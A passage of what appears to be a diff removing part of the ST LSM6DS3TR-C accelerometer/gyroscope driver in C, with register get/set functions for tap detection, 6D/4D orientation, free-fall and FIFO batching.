INT_DUR2 - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_tap_quiet_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_int_dur2_t int_dur2; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_INT_DUR2, (uint8_t*)&int_dur2, 1); - *val = int_dur2.quiet; - - return ret; -} - -/** - * @brief When double tap recognition is enabled, this register expresses the - * maximum time between two consecutive detected taps to determine a - * double tap event. - * The default value of these bits is 0000b which corresponds to - * 16*ODR_XL time. - * If the DUR[3:0] bits are set to a different value,1LSB corresponds - * to 32*ODR_XL time.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of dur in reg INT_DUR2 - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_tap_dur_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_int_dur2_t int_dur2; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_INT_DUR2, (uint8_t*)&int_dur2, 1); - - if(ret == 0) { - int_dur2.dur = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_INT_DUR2, (uint8_t*)&int_dur2, 1); - } - - return ret; -} - -/** - * @brief When double tap recognition is enabled, this register expresses the - * maximum time between two consecutive detected taps to determine a - * double tap event. - * The default value of these bits is 0000b which corresponds to - * 16*ODR_XL time. - * If the DUR[3:0] bits are set to a different value,1LSB corresponds - * to 32*ODR_XL time.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of dur in reg INT_DUR2 - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_tap_dur_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_int_dur2_t int_dur2; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_INT_DUR2, (uint8_t*)&int_dur2, 1); - *val = int_dur2.dur; - - return ret; -} - -/** - * @brief Single/double-tap event enable/disable.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of - * single_double_tap in reg WAKE_UP_THS - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_tap_mode_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_single_double_tap_t val) { - lsm6ds3tr_c_wake_up_ths_t wake_up_ths; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_WAKE_UP_THS, (uint8_t*)&wake_up_ths, 1); - - if(ret == 0) { - wake_up_ths.single_double_tap = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_WAKE_UP_THS, (uint8_t*)&wake_up_ths, 1); - } - - return ret; -} - -/** - * @brief Single/double-tap event enable/disable.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of single_double_tap - * in reg WAKE_UP_THS - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_tap_mode_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_single_double_tap_t* val) { - lsm6ds3tr_c_wake_up_ths_t wake_up_ths; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_WAKE_UP_THS, (uint8_t*)&wake_up_ths, 1); - - switch(wake_up_ths.single_double_tap) { - case LSM6DS3TR_C_ONLY_SINGLE: - *val = LSM6DS3TR_C_ONLY_SINGLE; - break; - - case LSM6DS3TR_C_BOTH_SINGLE_DOUBLE: - *val = LSM6DS3TR_C_BOTH_SINGLE_DOUBLE; - break; - - default: - *val = LSM6DS3TR_C_TAP_MODE_ND; - break; - } - - return ret; -} - -/** - * @} - * - */ - -/** - * @defgroup LSM6DS3TR_C_ Six_position_detection(6D/4D) - * @brief This section groups all the functions concerning six - * position detection (6D). - * @{ - * - */ - -/** - * @brief LPF2 feed 6D function selection.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of low_pass_on_6d in - * reg CTRL8_XL - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_6d_feed_data_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_low_pass_on_6d_t val) { - lsm6ds3tr_c_ctrl8_xl_t ctrl8_xl; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL8_XL, (uint8_t*)&ctrl8_xl, 1); - - if(ret == 0) { - ctrl8_xl.low_pass_on_6d = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL8_XL, (uint8_t*)&ctrl8_xl, 1); - } - - return ret; -} - -/** - * @brief LPF2 feed 6D function selection.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of low_pass_on_6d in reg CTRL8_XL - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_6d_feed_data_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_low_pass_on_6d_t* val) { - lsm6ds3tr_c_ctrl8_xl_t ctrl8_xl; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL8_XL, (uint8_t*)&ctrl8_xl, 1); - - switch(ctrl8_xl.low_pass_on_6d) { - case LSM6DS3TR_C_ODR_DIV_2_FEED: - *val = LSM6DS3TR_C_ODR_DIV_2_FEED; - break; - - case LSM6DS3TR_C_LPF2_FEED: - *val = LSM6DS3TR_C_LPF2_FEED; - break; - - default: - *val = LSM6DS3TR_C_6D_FEED_ND; - break; - } - - return ret; -} - -/** - * @brief Threshold for 4D/6D function.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of sixd_ths in reg TAP_THS_6D - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_6d_threshold_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_sixd_ths_t val) { - lsm6ds3tr_c_tap_ths_6d_t tap_ths_6d; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_TAP_THS_6D, (uint8_t*)&tap_ths_6d, 1); - - if(ret == 0) { - tap_ths_6d.sixd_ths = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_TAP_THS_6D, (uint8_t*)&tap_ths_6d, 1); - } - - return ret; -} - -/** - * @brief Threshold for 4D/6D function.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of sixd_ths in reg TAP_THS_6D - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_6d_threshold_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_sixd_ths_t* val) { - lsm6ds3tr_c_tap_ths_6d_t tap_ths_6d; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_TAP_THS_6D, (uint8_t*)&tap_ths_6d, 1); - - switch(tap_ths_6d.sixd_ths) { - case LSM6DS3TR_C_DEG_80: - *val = LSM6DS3TR_C_DEG_80; - break; - - case LSM6DS3TR_C_DEG_70: - *val = LSM6DS3TR_C_DEG_70; - break; - - case LSM6DS3TR_C_DEG_60: - *val = LSM6DS3TR_C_DEG_60; - break; - - case LSM6DS3TR_C_DEG_50: - *val = LSM6DS3TR_C_DEG_50; - break; - - default: - *val = LSM6DS3TR_C_6D_TH_ND; - break; - } - - return ret; -} - -/** - * @brief 4D orientation detection enable.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of d4d_en in reg TAP_THS_6D - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_4d_mode_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_tap_ths_6d_t tap_ths_6d; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_TAP_THS_6D, (uint8_t*)&tap_ths_6d, 1); - - if(ret == 0) { - tap_ths_6d.d4d_en = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_TAP_THS_6D, (uint8_t*)&tap_ths_6d, 1); - } - - return ret; -} - -/** - * @brief 4D orientation detection enable.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of d4d_en in reg TAP_THS_6D - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_4d_mode_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_tap_ths_6d_t tap_ths_6d; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_TAP_THS_6D, (uint8_t*)&tap_ths_6d, 1); - *val = tap_ths_6d.d4d_en; - - return ret; -} - -/** - * @} - * - */ - -/** - * @defgroup LSM6DS3TR_C_free_fall - * @brief This section group all the functions concerning the free - * fall detection. - * @{ - * - */ - -/** - * @brief Free-fall duration event. 1LSb = 1 / ODR[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of ff_dur in reg WAKE_UP_DUR - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_ff_dur_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_wake_up_dur_t wake_up_dur; - lsm6ds3tr_c_free_fall_t free_fall; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FREE_FALL, (uint8_t*)&free_fall, 1); - - if(ret == 0) { - free_fall.ff_dur = (val & 0x1FU); - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_FREE_FALL, (uint8_t*)&free_fall, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_WAKE_UP_DUR, (uint8_t*)&wake_up_dur, 1); - - if(ret == 0) { - wake_up_dur.ff_dur = (val & 0x20U) >> 5; - ret = - lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_WAKE_UP_DUR, (uint8_t*)&wake_up_dur, 1); - } - } - } - - return ret; -} - -/** - * @brief Free-fall duration event. 1LSb = 1 / ODR[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of ff_dur in reg WAKE_UP_DUR - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_ff_dur_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_wake_up_dur_t wake_up_dur; - lsm6ds3tr_c_free_fall_t free_fall; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_WAKE_UP_DUR, (uint8_t*)&wake_up_dur, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FREE_FALL, (uint8_t*)&free_fall, 1); - } - - *val = (wake_up_dur.ff_dur << 5) + free_fall.ff_dur; - - return ret; -} - -/** - * @brief Free fall threshold setting.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of ff_ths in reg FREE_FALL - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_ff_threshold_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_ff_ths_t val) { - lsm6ds3tr_c_free_fall_t free_fall; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FREE_FALL, (uint8_t*)&free_fall, 1); - - if(ret == 0) { - free_fall.ff_ths = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_FREE_FALL, (uint8_t*)&free_fall, 1); - } - - return ret; -} - -/** - * @brief Free fall threshold setting.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of ff_ths in reg FREE_FALL - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_ff_threshold_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_ff_ths_t* val) { - lsm6ds3tr_c_free_fall_t free_fall; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FREE_FALL, (uint8_t*)&free_fall, 1); - - switch(free_fall.ff_ths) { - case LSM6DS3TR_C_FF_TSH_156mg: - *val = LSM6DS3TR_C_FF_TSH_156mg; - break; - - case LSM6DS3TR_C_FF_TSH_219mg: - *val = LSM6DS3TR_C_FF_TSH_219mg; - break; - - case LSM6DS3TR_C_FF_TSH_250mg: - *val = LSM6DS3TR_C_FF_TSH_250mg; - break; - - case LSM6DS3TR_C_FF_TSH_312mg: - *val = LSM6DS3TR_C_FF_TSH_312mg; - break; - - case LSM6DS3TR_C_FF_TSH_344mg: - *val = LSM6DS3TR_C_FF_TSH_344mg; - break; - - case LSM6DS3TR_C_FF_TSH_406mg: - *val = LSM6DS3TR_C_FF_TSH_406mg; - break; - - case LSM6DS3TR_C_FF_TSH_469mg: - *val = LSM6DS3TR_C_FF_TSH_469mg; - break; - - case LSM6DS3TR_C_FF_TSH_500mg: - *val = LSM6DS3TR_C_FF_TSH_500mg; - break; - - default: - *val = LSM6DS3TR_C_FF_TSH_ND; - break; - } - - return ret; -} - -/** - * @} - * - */ - -/** - * @defgroup LSM6DS3TR_C_fifo - * @brief This section group all the functions concerning the - * fifo usage - * @{ - * - */ - -/** - * @brief FIFO watermark level selection.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of fth in reg FIFO_CTRL1 - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_fifo_watermark_set(stmdev_ctx_t* ctx, uint16_t val) { - lsm6ds3tr_c_fifo_ctrl1_t fifo_ctrl1; - lsm6ds3tr_c_fifo_ctrl2_t fifo_ctrl2; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FIFO_CTRL2, (uint8_t*)&fifo_ctrl2, 1); - - if(ret == 0) { - fifo_ctrl1.fth = (uint8_t)(0x00FFU & val); - fifo_ctrl2.fth = (uint8_t)((0x0700U & val) >> 8); - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_FIFO_CTRL1, (uint8_t*)&fifo_ctrl1, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_FIFO_CTRL2, (uint8_t*)&fifo_ctrl2, 1); - } - } - - return ret; -} - -/** - * @brief FIFO watermark level selection.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of fth in reg FIFO_CTRL1 - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_fifo_watermark_get(stmdev_ctx_t* ctx, uint16_t* val) { - lsm6ds3tr_c_fifo_ctrl1_t fifo_ctrl1; - lsm6ds3tr_c_fifo_ctrl2_t fifo_ctrl2; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FIFO_CTRL1, (uint8_t*)&fifo_ctrl1, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FIFO_CTRL2, (uint8_t*)&fifo_ctrl2, 1); - } - - *val = ((uint16_t)fifo_ctrl2.fth << 8) + (uint16_t)fifo_ctrl1.fth; - - return ret; -} - -/** - * @brief FIFO data level.[get] - * - * @param ctx Read / write interface definitions - * @param val get the values of diff_fifo in reg FIFO_STATUS1 and - * FIFO_STATUS2(diff_fifo), it is recommended to set the - * BDU bit. - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_fifo_data_level_get(stmdev_ctx_t* ctx, uint16_t* val) { - lsm6ds3tr_c_fifo_status1_t fifo_status1; - lsm6ds3tr_c_fifo_status2_t fifo_status2; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FIFO_STATUS1, (uint8_t*)&fifo_status1, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FIFO_STATUS2, (uint8_t*)&fifo_status2, 1); - *val = ((uint16_t)fifo_status2.diff_fifo << 8) + (uint16_t)fifo_status1.diff_fifo; - } - - return ret; -} - -/** - * @brief FIFO watermark.[get] - * - * @param ctx Read / write interface definitions - * @param val get the values of watermark in reg FIFO_STATUS2 and - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_fifo_wtm_flag_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_fifo_status2_t fifo_status2; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FIFO_STATUS2, (uint8_t*)&fifo_status2, 1); - *val = fifo_status2.waterm; - - return ret; -} - -/** - * @brief FIFO pattern.[get] - * - * @param ctx Read / write interface definitions - * @param val get the values of fifo_pattern in reg FIFO_STATUS3 and - * FIFO_STATUS4, it is recommended to set the BDU bit - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_fifo_pattern_get(stmdev_ctx_t* ctx, uint16_t* val) { - lsm6ds3tr_c_fifo_status3_t fifo_status3; - lsm6ds3tr_c_fifo_status4_t fifo_status4; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FIFO_STATUS3, (uint8_t*)&fifo_status3, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FIFO_STATUS4, (uint8_t*)&fifo_status4, 1); - *val = ((uint16_t)fifo_status4.fifo_pattern << 8) + fifo_status3.fifo_pattern; - } - - return ret; -} - -/** - * @brief Batching of temperature data[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of fifo_temp_en in reg FIFO_CTRL2 - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_fifo_temp_batch_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_fifo_ctrl2_t fifo_ctrl2; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FIFO_CTRL2, (uint8_t*)&fifo_ctrl2, 1); - - if(ret == 0) { - fifo_ctrl2.fifo_temp_en = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_FIFO_CTRL2, (uint8_t*)&fifo_ctrl2, 1); - } - - return ret; -} - -/** - * @brief Batching of temperature data[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of fifo_temp_en in reg FIFO_CTRL2 - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_fifo_temp_batch_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_fifo_ctrl2_t fifo_ctrl2; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FIFO_CTRL2, (uint8_t*)&fifo_ctrl2, 1); - *val = fifo_ctrl2.fifo_temp_en; - - return ret; -} - -/** - * @brief Trigger signal for FIFO write operation.[set] - * - * @param ctx Read / write interface definitions - * @param val act on FIFO_CTRL2(timer_pedo_fifo_drdy) - * and MASTER_CONFIG(data_valid_sel_fifo) - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_fifo_write_trigger_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_trigger_fifo_t val) { - lsm6ds3tr_c_fifo_ctrl2_t fifo_ctrl2; - lsm6ds3tr_c_master_config_t master_config; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FIFO_CTRL2, (uint8_t*)&fifo_ctrl2, 1); - - if(ret == 0) { - fifo_ctrl2.timer_pedo_fifo_drdy = (uint8_t)val & 0x01U; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_FIFO_CTRL2, (uint8_t*)&fifo_ctrl2, 1); - - if(ret == 0) { - ret = - lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_MASTER_CONFIG, (uint8_t*)&master_config, 1); - - if(ret == 0) { - master_config.data_valid_sel_fifo = (((uint8_t)val & 0x02U) >> 1); - ret = lsm6ds3tr_c_write_reg( - ctx, LSM6DS3TR_C_MASTER_CONFIG, (uint8_t*)&master_config, 1); - } - } - } - - return ret; -} - -/** - * @brief Trigger signal for FIFO write operation.[get] - * - * @param ctx Read / write interface definitions - * @param val act on FIFO_CTRL2(timer_pedo_fifo_drdy) - * and MASTER_CONFIG(data_valid_sel_fifo) - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_fifo_write_trigger_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_trigger_fifo_t* val) { - lsm6ds3tr_c_fifo_ctrl2_t fifo_ctrl2; - lsm6ds3tr_c_master_config_t master_config; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FIFO_CTRL2, (uint8_t*)&fifo_ctrl2, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_MASTER_CONFIG, (uint8_t*)&master_config, 1); - - switch((fifo_ctrl2.timer_pedo_fifo_drdy << 1) + fifo_ctrl2.timer_pedo_fifo_drdy) { - case LSM6DS3TR_C_TRG_XL_GY_DRDY: - *val = LSM6DS3TR_C_TRG_XL_GY_DRDY; - break; - - case LSM6DS3TR_C_TRG_STEP_DETECT: - *val = LSM6DS3TR_C_TRG_STEP_DETECT; - break; - - case LSM6DS3TR_C_TRG_SH_DRDY: - *val = LSM6DS3TR_C_TRG_SH_DRDY; - break; - - default: - *val = LSM6DS3TR_C_TRG_SH_ND; - break; - } - } - - return ret; -} - -/** - * @brief Enable pedometer step counter and timestamp as 4th - * FIFO data set.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of timer_pedo_fifo_en in reg FIFO_CTRL2 - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_fifo_pedo_and_timestamp_batch_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_fifo_ctrl2_t fifo_ctrl2; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FIFO_CTRL2, (uint8_t*)&fifo_ctrl2, 1); - - if(ret == 0) { - fifo_ctrl2.timer_pedo_fifo_en = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_FIFO_CTRL2, (uint8_t*)&fifo_ctrl2, 1); - } - - return ret; -} - -/** - * @brief Enable pedometer step counter and timestamp as 4th - * FIFO data set.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of timer_pedo_fifo_en in reg FIFO_CTRL2 - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_fifo_pedo_and_timestamp_batch_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_fifo_ctrl2_t fifo_ctrl2; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FIFO_CTRL2, (uint8_t*)&fifo_ctrl2, 1); - *val = fifo_ctrl2.timer_pedo_fifo_en; - - return ret; -} - -/** - * @brief Selects Batching Data Rate (writing frequency in FIFO) for - * accelerometer data.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of dec_fifo_xl in reg FIFO_CTRL3 - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_fifo_xl_batch_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_dec_fifo_xl_t val) { - lsm6ds3tr_c_fifo_ctrl3_t fifo_ctrl3; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FIFO_CTRL3, (uint8_t*)&fifo_ctrl3, 1); - - if(ret == 0) { - fifo_ctrl3.dec_fifo_xl = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_FIFO_CTRL3, (uint8_t*)&fifo_ctrl3, 1); - } - - return ret; -} - -/** - * @brief Selects Batching Data Rate (writing frequency in FIFO) for - * accelerometer data.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of dec_fifo_xl in reg FIFO_CTRL3 - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_fifo_xl_batch_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_dec_fifo_xl_t* val) { - lsm6ds3tr_c_fifo_ctrl3_t fifo_ctrl3; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FIFO_CTRL3, (uint8_t*)&fifo_ctrl3, 1); - - switch(fifo_ctrl3.dec_fifo_xl) { - case LSM6DS3TR_C_FIFO_XL_DISABLE: - *val = LSM6DS3TR_C_FIFO_XL_DISABLE; - break; - - case LSM6DS3TR_C_FIFO_XL_NO_DEC: - *val = LSM6DS3TR_C_FIFO_XL_NO_DEC; - break; - - case LSM6DS3TR_C_FIFO_XL_DEC_2: - *val = LSM6DS3TR_C_FIFO_XL_DEC_2; - break; - - case LSM6DS3TR_C_FIFO_XL_DEC_3: - *val = LSM6DS3TR_C_FIFO_XL_DEC_3; - break; - - case LSM6DS3TR_C_FIFO_XL_DEC_4: - *val = LSM6DS3TR_C_FIFO_XL_DEC_4; - break; - - case LSM6DS3TR_C_FIFO_XL_DEC_8: - *val = LSM6DS3TR_C_FIFO_XL_DEC_8; - break; - - case LSM6DS3TR_C_FIFO_XL_DEC_16: - *val = LSM6DS3TR_C_FIFO_XL_DEC_16; - break; - - case LSM6DS3TR_C_FIFO_XL_DEC_32: - *val = LSM6DS3TR_C_FIFO_XL_DEC_32; - break; - - default: - *val = LSM6DS3TR_C_FIFO_XL_DEC_ND; - break; - } - - return ret; -} - -/** - * @brief Selects Batching Data Rate (writing frequency in FIFO) - * for gyroscope data.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of dec_fifo_gyro in reg FIFO_CTRL3 - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_fifo_gy_batch_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_dec_fifo_gyro_t val) { - lsm6ds3tr_c_fifo_ctrl3_t fifo_ctrl3; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FIFO_CTRL3, (uint8_t*)&fifo_ctrl3, 1); - - if(ret == 0) { - fifo_ctrl3.dec_fifo_gyro = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_FIFO_CTRL3, (uint8_t*)&fifo_ctrl3, 1); - } - - return ret; -} - -/** - * @brief Selects Batching Data Rate (writing frequency in FIFO) - * for gyroscope data.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of dec_fifo_gyro in reg FIFO_CTRL3 - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_fifo_gy_batch_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_dec_fifo_gyro_t* val) { - lsm6ds3tr_c_fifo_ctrl3_t fifo_ctrl3; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FIFO_CTRL3, (uint8_t*)&fifo_ctrl3, 1); - - switch(fifo_ctrl3.dec_fifo_gyro) { - case LSM6DS3TR_C_FIFO_GY_DISABLE: - *val = LSM6DS3TR_C_FIFO_GY_DISABLE; - break; - - case LSM6DS3TR_C_FIFO_GY_NO_DEC: - *val = LSM6DS3TR_C_FIFO_GY_NO_DEC; - break; - - case LSM6DS3TR_C_FIFO_GY_DEC_2: - *val = LSM6DS3TR_C_FIFO_GY_DEC_2; - break; - - case LSM6DS3TR_C_FIFO_GY_DEC_3: - *val = LSM6DS3TR_C_FIFO_GY_DEC_3; - break; - - case LSM6DS3TR_C_FIFO_GY_DEC_4: - *val = LSM6DS3TR_C_FIFO_GY_DEC_4; - break; - - case LSM6DS3TR_C_FIFO_GY_DEC_8: - *val = LSM6DS3TR_C_FIFO_GY_DEC_8; - break; - - case LSM6DS3TR_C_FIFO_GY_DEC_16: - *val = LSM6DS3TR_C_FIFO_GY_DEC_16; - break; - - case LSM6DS3TR_C_FIFO_GY_DEC_32: - *val = LSM6DS3TR_C_FIFO_GY_DEC_32; - break; - - default: - *val = LSM6DS3TR_C_FIFO_GY_DEC_ND; - break; - } - - return ret; -} - -/** - * @brief Selects Batching Data Rate (writing frequency in FIFO) - * for third data set.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of dec_ds3_fifo in reg FIFO_CTRL4 - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_fifo_dataset_3_batch_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_dec_ds3_fifo_t val) { - lsm6ds3tr_c_fifo_ctrl4_t fifo_ctrl4; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FIFO_CTRL4, (uint8_t*)&fifo_ctrl4, 1); - - if(ret == 0) { - fifo_ctrl4.dec_ds3_fifo = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_FIFO_CTRL4, (uint8_t*)&fifo_ctrl4, 1); - } - - return ret; -} - -/** - * @brief Selects Batching Data Rate (writing frequency in FIFO) - * for third data set.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of dec_ds3_fifo in reg FIFO_CTRL4 - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_fifo_dataset_3_batch_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_dec_ds3_fifo_t* val) { - lsm6ds3tr_c_fifo_ctrl4_t fifo_ctrl4; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FIFO_CTRL4, 